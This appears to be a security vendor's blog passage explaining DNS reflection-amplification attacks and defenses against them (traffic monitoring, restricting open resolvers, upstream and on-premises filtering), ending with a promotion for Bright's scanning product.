What causes this sort of attack to be so harmful is that it may be carried out via ordinary consumer devices or servers. There is no apparent indication of being compromised, causing them to be more difficult to prevent. Furthermore, launching a reflection-amplification attack does not demand sophisticated tools – an attacker can develop sizable volumetric attacks with one robust server or a modest source of bots.

Detecting and Mitigating DNS Reflection-Amplification Attacks

It is sometimes possible to detect a reflection-amplification attack before the amount of traffic is enough to impact the availability of the service. However, this quick response time generally demands highly aggressive responsiveness and monitoring, or services offered by an upstream network provider. 

Common network throughput monitoring tools including SNMP, netflow, and custom scripts can help bring your attention to dramatic increases in service or network utilization.  Automated, qualitative, and real-time examination of network traffic might locate an unexpected surge in one sort of protocol that could be utilized to identify a reflection amplification DoS event when it begins. Generally, the lead time could be short and the indicator of a network’s event availability or service falls.  

Related content: Read our guide to dns flood attack.

A necessary component of DNS amplification attacks is entry to open DNS resolvers. When poorly configured DNS resolvers are exposed to the internet, a cybercriminal only needs to use a DNS resolver to find it. 

If possible, DNS resolvers should offer their services only to devices that come from within a trusted domain. With regard to reflection-based attacks, the open DNS resolvers will respond to queries coming from any portion of the internet, providing the possibility for exploitation. 

If you restrict a DNS resolver so that it only responds to queries from trusted sources, the server will be a poor vehicle for any sort of amplification attack.  

When the flood volume surpasses the network’s capacity connection, you must catch the incoming traffic upstream to distinguish the attack traffic from the genuine traffic. These types of defenses may be offered by third-party providers such as a CDN or ISP, or providers that specialize in DoS mitigation. 

You can achieve on-premises filtering in different ways, depending on the flood volume. Filtering methods may include:

  • Blocking the source addresses sourcing the attack.
  • Blocking the protocols being utilized for transport.
  • Blocking the ports being targeted. 

For a timely response, you may need to quickly engage third-parties. You must assess the risk connected with crucial resources being affected by Network DoS attacks and develop a business continuity or disaster recovery plan to respond to incidents. 

DNS Amplification Protection with Bright

Bright automatically scans your apps and APIs for hundreds of vulnerabilities. The generated reports are false-positive free, as Bright validates every finding before reporting it to you. The reports come with clear remediation guidelines for your team and thanks to Bright’s integration with ticketing tools, assigning a finding to a developer for fixing is easily done.

Try Bright for free – Register for a Bright account